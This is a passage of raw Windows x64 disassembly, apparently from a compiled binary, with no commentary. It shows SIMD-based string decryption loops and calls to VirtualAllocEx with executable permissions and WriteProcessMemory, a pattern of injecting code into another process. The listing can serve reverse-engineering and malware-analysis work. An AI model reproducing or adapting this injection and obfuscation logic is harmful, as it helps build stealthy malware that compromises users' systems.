punpckhdq xmm1, xmm4
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm3, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
movd xmm1, dword [rsp + 0x48]
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm4, xmm0
movd xmm0, ecx
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movdqa xmm4, xmmword [0x1402842c0]
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm3, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm2, xmm2
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movdqa xmm4, xmmword [0x1402842e0]
movd xmm1, dword [rsp + 0x4c]
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movd xmm0, ecx
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x4c], xmm2
movdqa xmm2, xmm3
pmuldq xmm2, xmm7
punpckhdq xmm1, xmm4
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm1, xmm8
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
shufps xmm3, xmm1, 0xdd
movd xmm1, dword [rsp + 0x50]
psubd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm10
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm9
psubd xmm4, xmm0
movd xmm0, ecx
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movdqa xmm4, xmmword [0x1402842f0]
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x50], xmm2
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm3, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm2, xmm6
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm2, xmm2
andps xmm4, xmm6
movd xmm0, ecx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm1, dword [rsp + 0x54]
paddb xmm2, xmm0
xorps xmm2, xmm1
mov ebx, 0x18
movd dword [rsp + 0x54], xmm2
mov eax, ebx
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1a
jl 0x140267be0
mov edx, r10d
lea rcx, [rsp + 0x40]
call fcn.1402010d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14026c332
mov r9d, 0x40
mov qword [rsp + 0x20], rbx
lea r8, [rbp - 0x20]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1402681d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x140283a39], bl
mov r10d, eax
movups xmm11, xmmword [0x140283a20]
movzx ecx, word [0x140283a38]
movsd xmm0, qword [0x140283a30]
movups xmmword [rsp + 0x40], xmm11
mov word [rsp + 0x58], cx
movsd qword [rsp + 0x50], xmm0
je 0x140268192
cmp dword [0x140294090], 2
jl 0x140268133
movdqa xmm4, xmmword [0x140284260]
movdqa xmm8, xmmword [0x1402843a0]
movdqa xmm2, xmm4
movdqa xmm7, xmmword [0x1402843b0]
movdqa xmm1, xmm4
movdqa xmm6, xmmword [0x140284370]
movdqa xmm9, xmmword [0x1402843d0]
movdqa xmm10, xmmword [0x140284310]
mov ecx, dword [0x140284390]
punpckldq xmm2, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
movdqa xmm0, xmm1
pmuldq xmm2, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm8
pmuldq xmm3, xmm7
movd eax, xmm11
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, ecx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movdqa xmm4, xmmword [0x140284280]
paddb xmm1, xmm0
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm2, xmm3
movd xmm0, eax
xorps xmm1, xmm0
pmuldq xmm2, xmm7
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm1, xmm8
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
shufps xmm3, xmm1, 0xdd
psrad xmm2, 6
psubd xmm3, xmm4
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm10
psubd xmm2, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm2, xmm6
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm9
psubd xmm4, xmm0
packuswb xmm2, xmm2
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm1, dword [rsp + 0x44]
movdqa xmm4, xmmword [0x1402842a0]
movd xmm0, ecx
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm3, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
movd xmm1, dword [rsp + 0x48]
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm4, xmm0
movd xmm0, ecx
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movdqa xmm4, xmmword [0x1402842c0]
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm3, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm2, xmm2
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movdqa xmm4, xmmword [0x1402842e0]
movd xmm1, dword [rsp + 0x4c]
movd xmm0, ecx
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x4c], xmm2
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm3, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
movd xmm1, dword [rsp + 0x50]
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm4, xmm0
movd xmm0, ecx
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movdqa xmm4, xmmword [0x1402842f0]
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x50], xmm2
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm3, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm2, xmm6
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm2, xmm2
andps xmm4, xmm6
movd xmm0, ecx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm1, dword [rsp + 0x54]
paddb xmm2, xmm0
xorps xmm2, xmm1
mov ebx, 0x18
movd dword [rsp + 0x54], xmm2
mov eax, ebx
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1a
jl 0x140268140
mov edx, r10d
lea rcx, [rsp + 0x40]
call fcn.1402010d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14026c332
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x30], rax
mov rsi, rax
test rax, rax
jne 0x1402684bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x140294090], 2
mov r10d, eax
movups xmm0, xmmword [str._v___r_60]
mov ecx, dword [0x140283a18]
movups xmm1, xmmword [0x140283a00]
mov dword [rbp - 0x48], ecx
movzx ecx, word [0x140283a1c]
movups xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x44], cx
movsd xmm0, qword [0x140283a10]
movsd qword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
jl 0x140268420
movdqa xmm0, xmmword [0x140284390]
lea rcx, [rbp - 0x6c]
movdqa xmm8, xmmword [0x140284260]
movdqa xmm5, xmmword [0x1402843b0]
movdqa xmm6, xmmword [0x1402843a0]
movdqa xmm9, xmmword [0x1402843d0]
movdqa xmm10, xmmword [0x140284310]
movdqa xmm7, xmmword [0x140284370]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, ebx
lea eax, [rbx + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm8
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
movdqa xmm3, xmm2
pmuldq xmm1, xmm6
pmuldq xmm2, xmm6
pmuldq xmm3, xmm5
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm7
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm7
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm8
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
movdqa xmm3, xmm2
pmuldq xmm1, xmm6
pmuldq xmm2, xmm6
pmuldq xmm3, xmm5
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm7
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm7
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add ebx, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x1402682a0
cmp ebx, 0x2e
jge 0x140268482
movsxd rax, ebx
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x2e
jl 0x140268430
mov edx, r10d
lea rcx, [rbp - 0x70]
call fcn.1402010d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14026c332
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
lea r8, [0x14026c3a0]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1402687a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x140283903], bl
mov r10d, eax
movups xmm0, xmmword [0x1402838e8]
mov ecx, dword [0x140283900]
mov dword [rbp - 0x78], ecx
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x1402838f8]
movsd qword [rbp - 0x80], xmm0
je 0x140268752
cmp dword [0x140294090], 2
jl 0x1402686f3
movdqa xmm0, xmmword [0x140284390]
lea rcx, [rsp + 0x74]
movdqa xmm8, xmmword [0x140284260]
movdqa xmm5, xmmword [0x1402843b0]
movdqa xmm6, xmmword [0x1402843a0]
movdqa xmm9, xmmword [0x1402843d0]
movdqa xmm10, xmmword [0x140284310]
movdqa xmm7, xmmword [0x140284370]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm4, ebx
lea eax, [rbx + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm8
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
movdqa xmm3, xmm2
pmuldq xmm1, xmm6
pmuldq xmm3, xmm5
pmuldq xmm2, xmm6
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
movdqa xmm1, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm7
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm7
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm8
xorps xmm1, xmm0
movdqa xmm3, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm3, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
movdqa xmm2, xmm3
pmuldq xmm1, xmm6
pmuldq xmm2, xmm5
pmuldq xmm3, xmm6
shufps xmm2, xmm0, 0xdd
shufps xmm3, xmm1, 0xdd
paddd xmm2, xmm4
psubd xmm3, xmm4
psrad xmm2, 6
movdqa xmm1, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm7
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm9
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm7
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add ebx, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x140268573
cmp ebx, 0x1c
jge 0x140268752
movsxd rax, ebx
lea r9, [rsp + 0x70]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1c
jl 0x140268700
mov edx, r10d
lea rcx, [rsp + 0x70]
call fcn.1402010d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14026c332
cmp byte [0x140283761], bl
movups xmm4, xmmword [0x140283750]
movzx eax, word [0x140283760]
mov r15d, dword [0x140294090]
movdqa xmm6, xmmword [0x140284370]
movdqa xmm10, xmmword [0x140284310]
movdqa xmm11, xmmword [0x1402843d0]
movdqa xmm7, xmmword [0x1402843a0]
movdqa xmm8, xmmword [0x1402843b0]
movdqa xmm9, xmmword [0x140284260]
movaps xmmword [rsp + 0x1b0], xmm12
movdqa xmm12, xmmword [0x1402842c0]
movaps xmmword [rsp + 0x1a0], xmm13
movdqa xmm13, xmmword [0x1402842a0]
movaps xmmword [rsp + 0x190], xmm14
movdqa xmm14, xmmword [0x140284280]
movaps xmmword [rsp + 0x180], xmm15
movdqa xmm15, xmmword [0x140284390]
movups xmmword [rsp + 0x40], xmm4
mov word [rsp + 0x50], ax
je 0x140268ba8
mov r9d, ebx
cmp r15d, 2
jl 0x140268b42
movdqa xmm2, xmm9
movd ecx, xmm15
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
movdqa xmm3, xmm2
punpckhdq xmm1, xmm9
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
movd eax, xmm4
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm9
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm9
psrad xmm2, 6
paddd xmm3, xmm9
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm9
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movdqa xmm1, xmm14
paddb xmm2, xmm0
punpckhdq xmm1, xmm14
movd xmm0, eax
xorps xmm2, xmm0
movdqa xmm0, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
movdqa xmm3, xmm2
pmuldq xmm0, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm14
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm14
psrad xmm2, 6
paddd xmm3, xmm14
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm14
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x44]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm0, xmm1
movdqa xmm3, xmm2
pmuldq xmm0, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm13
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm13
psrad xmm2, 6
paddd xmm3, xmm13
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm13
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x48]
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm12
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm3, xmm2
punpckhdq xmm1, xmm12
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm12
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm12
psrad xmm2, 6
paddd xmm3, xmm12
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm12
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x4c]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0x40]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul r9d
sub r8b, cl
add edx, r9d
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc r9d
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x12
jl 0x140268b50
mov rdx, r12
lea rcx, [rsp + 0x40]
call fcn.1402010d0
cmp byte [0x140283843], bl
movups xmm5, xmmword [str._v_:__5t_6_3]
mov edx, dword [0x140283840]
